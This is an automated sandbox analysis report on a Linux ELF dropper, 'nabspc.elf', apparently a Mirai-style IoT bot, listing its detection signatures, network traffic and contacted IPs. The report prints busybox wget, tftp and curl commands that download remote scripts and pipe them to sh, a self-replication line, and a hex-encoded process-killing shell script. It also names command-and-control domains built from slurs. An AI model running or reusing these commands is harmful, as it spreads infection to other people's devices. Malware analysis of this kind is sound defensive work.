Linux Analysis Report
nabspc.elf

Overview

General Information

Sample name: nabspc.elf
Analysis ID: 1543149
MD5: 47672f7d5197848d8541cc65facf0a3d
SHA1: e594c4f505a5db9fc85399651f9a63eaf8e5f38e
SHA256: 198226a45487fb1badefebdf3301efc3909bb9a6537005e1fd5ebf47315dff67
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: nabspc.elf ReversingLabs: Detection: 52%
Found strings indicative of a multi-platform dropper
Source: nabspc.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:49452 -> 45.156.86.24:38241
Sample listens on a socket
Source: /tmp/nabspc.elf (PID: 6243) Socket: 127.0.0.1:39148 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 54.230.133.117
Source: unknown TCP traffic detected without corresponding DNS query: 58.0.160.169
Source: unknown TCP traffic detected without corresponding DNS query: 54.230.133.117
Source: unknown TCP traffic detected without corresponding DNS query: 174.197.205.31
Source: unknown TCP traffic detected without corresponding DNS query: 58.0.160.169
Source: unknown TCP traffic detected without corresponding DNS query: 174.197.205.31
Source: unknown TCP traffic detected without corresponding DNS query: 174.90.178.221
Source: unknown TCP traffic detected without corresponding DNS query: 174.90.178.221
Source: unknown TCP traffic detected without corresponding DNS query: 203.99.24.169
Source: unknown TCP traffic detected without corresponding DNS query: 108.62.141.170
Source: unknown TCP traffic detected without corresponding DNS query: 191.90.36.124
Source: unknown TCP traffic detected without corresponding DNS query: 203.99.24.169
Source: unknown TCP traffic detected without corresponding DNS query: 108.62.141.170
Source: unknown TCP traffic detected without corresponding DNS query: 42.167.93.244
Source: unknown TCP traffic detected without corresponding DNS query: 217.122.16.105
Source: unknown TCP traffic detected without corresponding DNS query: 191.90.36.124
Source: unknown TCP traffic detected without corresponding DNS query: 30.26.235.58
Source: unknown TCP traffic detected without corresponding DNS query: 42.167.93.244
Source: unknown TCP traffic detected without corresponding DNS query: 1.228.237.21
Source: unknown TCP traffic detected without corresponding DNS query: 217.122.16.105
Source: unknown TCP traffic detected without corresponding DNS query: 198.85.189.145
Source: unknown TCP traffic detected without corresponding DNS query: 30.26.235.58
Source: unknown TCP traffic detected without corresponding DNS query: 51.119.172.166
Source: unknown TCP traffic detected without corresponding DNS query: 1.228.237.21
Source: unknown TCP traffic detected without corresponding DNS query: 46.98.50.204
Source: unknown TCP traffic detected without corresponding DNS query: 198.85.189.145
Source: unknown TCP traffic detected without corresponding DNS query: 41.205.105.117
Source: unknown TCP traffic detected without corresponding DNS query: 51.119.172.166
Source: unknown TCP traffic detected without corresponding DNS query: 222.86.84.65
Source: unknown TCP traffic detected without corresponding DNS query: 46.98.50.204
Source: unknown TCP traffic detected without corresponding DNS query: 173.1.141.41
Source: unknown TCP traffic detected without corresponding DNS query: 41.205.105.117
Source: unknown TCP traffic detected without corresponding DNS query: 221.131.219.26
Source: unknown TCP traffic detected without corresponding DNS query: 222.86.84.65
Source: unknown TCP traffic detected without corresponding DNS query: 32.29.130.27
Source: unknown TCP traffic detected without corresponding DNS query: 173.1.141.41
Source: unknown TCP traffic detected without corresponding DNS query: 6.35.66.195
Source: unknown TCP traffic detected without corresponding DNS query: 221.131.219.26
Source: unknown TCP traffic detected without corresponding DNS query: 39.4.5.78
Source: unknown TCP traffic detected without corresponding DNS query: 32.29.130.27
Source: unknown TCP traffic detected without corresponding DNS query: 92.216.208.84
Source: unknown TCP traffic detected without corresponding DNS query: 6.35.66.195
Source: unknown TCP traffic detected without corresponding DNS query: 44.104.148.69
Source: unknown TCP traffic detected without corresponding DNS query: 39.4.5.78
Source: unknown TCP traffic detected without corresponding DNS query: 211.164.27.37
Source: unknown TCP traffic detected without corresponding DNS query: 92.216.208.84
Source: unknown TCP traffic detected without corresponding DNS query: 109.181.197.144
Source: unknown TCP traffic detected without corresponding DNS query: 44.104.148.69
Source: unknown TCP traffic detected without corresponding DNS query: 32.153.131.216
Source: global traffic DNS traffic detected: DNS query: netfags.geek
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: nabspc.elf String found in binary or memory: http:///curl.sh
Source: nabspc.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.troj.linELF@0/102@5/0
Enumerates processes within the "proc" file system
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6263/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6263/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6274/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6274/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6273/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6273/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6265/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6265/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6276/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6276/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6264/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6264/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6275/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6275/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6267/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6267/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6266/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6266/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6277/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6277/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6269/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6269/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6313/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6313/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6268/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6268/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6270/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6270/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6272/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6272/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6271/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6271/cmdline Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 6232) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.Z73QfHGssR /tmp/tmp.jZi6nyeFq1 /tmp/tmp.WmIodxPuSS Jump to behavior
Source: /usr/bin/dash (PID: 6233) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.Z73QfHGssR /tmp/tmp.jZi6nyeFq1 /tmp/tmp.WmIodxPuSS Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/nabspc.elf (PID: 6243) Queries kernel information via 'uname': Jump to behavior
Source: nabspc.elf, 6243.1.0000558cc5550000.0000558cc55d5000.rw-.sdmp, nabspc.elf, 6248.1.0000558cc5550000.0000558cc55d5000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: nabspc.elf, 6243.1.0000558cc5550000.0000558cc55d5000.rw-.sdmp, nabspc.elf, 6248.1.0000558cc5550000.0000558cc55d5000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: nabspc.elf, 6243.1.00007fff00a6b000.00007fff00a8c000.rw-.sdmp, nabspc.elf, 6248.1.00007fff00a6b000.00007fff00a8c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc
Source: nabspc.elf, 6243.1.00007fff00a6b000.00007fff00a8c000.rw-.sdmp, nabspc.elf, 6248.1.00007fff00a6b000.00007fff00a8c000.rw-.sdmp Binary or memory string: a|x86_64/usr/bin/qemu-sparc/tmp/nabspc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabspc.elf

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
50.70.6.18
 unknown Canada
6327 SHAWCA false
11.122.212.229
 unknown United States
27651 ENTELCHILESACL false
155.156.12.41
 unknown United States
1488 DNIC-ASBLK-01488-01489US false
76.250.250.63
 unknown United States
7018 ATT-INTERNET4US false
76.87.193.191
 unknown United States
20001 TWC-20001-PACWESTUS false
51.106.244.111
 unknown United Kingdom
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
128.168.178.48
 unknown United States
36351 SOFTLAYERUS false
179.90.50.171
 unknown Brazil
26599 TELEFONICABRASILSABR false
139.125.95.87
 unknown United States
7018 ATT-INTERNET4US false
169.88.16.127
 unknown United States
37611 AfrihostZA false
102.66.203.100
 unknown South Africa
328471 Hero-TelecomsZA false
183.21.33.72
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
202.221.255.76
 unknown Japan 2497 IIJInternetInitiativeJapanIncJP false
132.35.249.192
 unknown United States
385 AFCONC-BLOCK1-ASUS false
91.93.11.198
 unknown Turkey
34984 TELLCOM-ASTR false
28.55.3.225
 unknown United States
7922 COMCAST-7922US false
199.165.229.217
 unknown United States
29748 QTS-ASHUS false
103.241.238.179
 unknown India
55303 EAGLENET-AP60MarketSquarePOBox364PH false
76.39.145.28
 unknown United States
18494 CENTURYLINK-LEGACY-EMBARQ-WRBGUS false
173.231.158.107
 unknown United States
29791 VOXEL-DOT-NETUS false
119.162.175.218
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
89.101.171.67
 unknown Ireland
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
164.10.127.118
 unknown Sweden
59807 SWEDBANK-ASSE false
124.90.230.136
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
44.34.68.183
 unknown United States
7377 UCSDUS false
135.132.144.6
 unknown United States
14962 NCR-252US false
14.244.176.56
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
174.43.65.155
 unknown United States
6167 CELLCO-PARTUS false
25.31.17.71
 unknown United Kingdom
7922 COMCAST-7922US false
45.156.86.24
 netfags.geek Germany
44592 SKYLINKNL true
188.106.66.145
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
151.13.109.107
 unknown Italy
1267 ASN-WINDTREIUNETEU false
192.5.229.225
 unknown United States
683 ARGONNE-ASUS false
152.145.162.46
 unknown United States
6400 CompaniaDominicanadeTelefonosSADO false
8.206.136.45
 unknown United States
3356 LEVEL3US false
57.60.127.64
 unknown Belgium
2686 ATGS-MMD-ASUS false
48.62.165.82
 unknown United States
2686 ATGS-MMD-ASUS false
170.229.31.75
 unknown United States
19524 COMERICA-INCUS false
36.211.231.77
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
145.48.245.137
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
29.118.116.195
 unknown United States
7922 COMCAST-7922US false
51.214.135.176
 unknown United States
2686 ATGS-MMD-ASUS false
218.244.14.226
 unknown China
17969 CNNIC-KUANCOM-APBeijingKuancomNetworkTechnologyCoLtd false
85.4.210.254
 unknown Switzerland
3303 SWISSCOMSwisscomSwitzerlandLtdCH false
212.149.58.144
 unknown Germany
16365 COMMERZBANKDE-60261FrankfurtDE false
144.248.142.64
 unknown Belgium
2611 BELNETBE false
222.40.111.136
 unknown China
63711 CTTNETChinaTieTongTelecommunicationsCorporationCN false
210.120.94.176
 unknown Korea Republic of
9759 CJCYBER-ASHIINVESTMENTSECURITIESCOLTDKR false
207.245.194.169
 unknown Canada
15290 ALLST-15290CA false
47.76.236.116
 unknown United States
9500 VODAFONE-TRANSIT-ASVodafoneNZLtdNZ false
36.103.45.240
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
134.6.182.105
 unknown United States
16504 GRANITEUS false
186.160.208.83
 unknown Peru
21575 ENTELPERUSAPE false
116.219.211.204
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
51.12.119.103
 unknown United Kingdom
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
213.253.144.239
 unknown United Kingdom
5587 ITILITY-LIMITEDInternetServiceProviderGB false
148.2.187.156
 unknown Sweden
3301 TELIANET-SWEDENTeliaCompanySE false
114.222.197.98
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
200.241.108.204
 unknown Brazil
4230 CLAROSABR false
64.118.201.110
 unknown United States
10660 SYSNET-ASUS false
196.109.33.121
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
37.181.198.79
 unknown Italy
30722 VODAFONE-IT-ASNIT false
119.72.192.98
 unknown Japan 37903 EMOBILEYmobileCorporationJP false
66.221.158.145
 unknown United States
54489 CORESPACE-DALUS false
70.133.197.42
 unknown United States
7018 ATT-INTERNET4US false
147.134.208.17
 unknown United States
30569 CREIGHTON-ASUS false
148.215.214.165
 unknown Mexico
28526 UniversidadAutonomadelEstadodeMexicoMX false
7.232.7.227
 unknown United States
3356 LEVEL3US false
154.181.44.56
 unknown Egypt
8452 TE-ASTE-ASEG false
57.129.152.65
 unknown Belgium
2686 ATGS-MMD-ASUS false
129.69.162.222
 unknown Germany
553 BELWUEBelWue-KoordinationEU false
195.205.199.41
 unknown Poland
5617 TPNETPL false
53.234.233.100
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
178.20.222.217
 unknown Denmark
31027 GLOBALCONNECT-ASDK false
195.129.163.238
 unknown European Union
702 UUNETUS false
180.185.251.120
 unknown China
38841 KBRO-AS-TWkbroCOLtdTW false
210.26.211.80
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
109.248.104.45
 unknown Russian Federation
28917 FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics false
137.20.172.11
 unknown United States
13688 PSEGUS false
174.183.240.3
 unknown United States
7922 COMCAST-7922US false
90.196.80.151
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
147.114.176.136
 unknown United Kingdom
766 REDIRISRedIRISAutonomousSystemES false
60.180.121.70
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
149.99.175.113
 unknown Canada
3602 AS3602-ROGERS-COMCA false
55.227.78.145
 unknown United States
306 DNIC-ASBLK-00306-00371US false
72.32.231.116
 unknown United States
33070 RMH-14US false
194.196.197.100
 unknown European Union
2686 ATGS-MMD-ASUS false
119.223.29.64
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
164.141.205.208
 unknown Finland
1759 TSF-IP-CORETeliaFinlandOyjEU false
221.210.155.181
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
141.77.248.90
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
65.148.189.244
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
31.196.221.142
 unknown Italy
3269 ASN-IBSNAZIT false
205.95.28.184
 unknown United States
647 DNIC-ASBLK-00616-00665US false
54.13.42.11
 unknown United States
14618 AMAZON-AESUS false
157.202.115.77
 unknown United States
1759 TSF-IP-CORETeliaFinlandOyjEU false
105.15.135.250
 unknown South Africa
37168 CELL-CZA false
172.129.31.160
 unknown United States
7018 ATT-INTERNET4US false
33.81.255.153
 unknown United States
2686 ATGS-MMD-ASUS false
63.196.9.66
 unknown United States
7018 ATT-INTERNET4US false

Contacted Domains

Name IP Active
netfags.geek 45.156.86.24 true
yellowchink.pirate 45.156.86.24 true
netfags.geek. [malformed] unknown unknown